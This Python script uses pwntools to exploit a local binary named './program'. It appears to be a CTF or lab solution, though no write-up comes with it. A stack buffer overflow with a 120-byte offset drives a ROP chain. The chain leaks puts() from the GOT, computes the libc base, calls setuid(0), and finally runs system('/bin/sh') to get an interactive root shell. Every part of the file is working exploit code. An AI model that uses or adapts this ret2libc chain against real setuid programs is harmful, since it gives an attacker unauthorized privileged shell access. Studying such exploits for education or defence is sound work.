from pwn import *
import sys 

# junk
offset = 120
junk = b"A"*offset

# binary symbols
puts_plt = 0x401060
puts_got = 0x404018
MAIN = 0x00000000004011d2

# libc offsets
puts_off = 0x80e50
system_off = 0x50d70
setuid_off = 0xec0d0
bin_sh_off = 0x1d8678

# ROP gadgets
pop_rdi_ret = 0x000000000040117e

# ret
RET = 0x000000000040101a


def leak_puts(p):

    buf = b''
    buf += junk
    buf += p64(pop_rdi_ret)
    buf += p64(puts_got)
    buf += p64(puts_plt)
    buf += p64(MAIN)

    p.sendline(buf)
    p.recvline()

    leaked_puts = u64(p.recvline()[:-1].ljust(8, b"\x00"))

    log.success("Leaked puts() -> %s", hex(leaked_puts))

    return leaked_puts


def setuid(p, base_libc):

    setuid_addr = base_libc + setuid_off

    log.info("setuid() -> %s", hex(setuid_addr))

    buf = b''
    buf += junk
    buf += p64(pop_rdi_ret)
    buf += p64(0x0)
    buf += p64(setuid_addr)
    buf += p64(MAIN)

    p.sendline(buf)
    p.recvline()
    p.recvline()


def shell(p, base_libc):

    system = base_libc + system_off
    bin_sh = base_libc + bin_sh_off

    log.info("system() -> %s", hex(system))
    log.info("\"/bin/sh\" -> %s", hex(bin_sh))

    buf = b''
    buf += junk
    buf += p64(RET)
    buf += p64(pop_rdi_ret)
    buf += p64(bin_sh)
    buf += p64(system)

    p.sendline(buf)
    p.interactive()


def main():

    p = process("./program", level="error")

    # Debugging with GDB to Identify the Stack Alignment Issue

    # context.terminal = "kitty"
    # p = gdb.debug("./program")

    p.recvline()

    leaked_puts = leak_puts(p)

    base_libc = leaked_puts - puts_off
    log.success("Base libc address -> %s", hex(base_libc))

    setuid(p, base_libc)
    shell(p, base_libc)



if __name__ == '__main__':

    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Aborting...\n")
        sys.exit(1)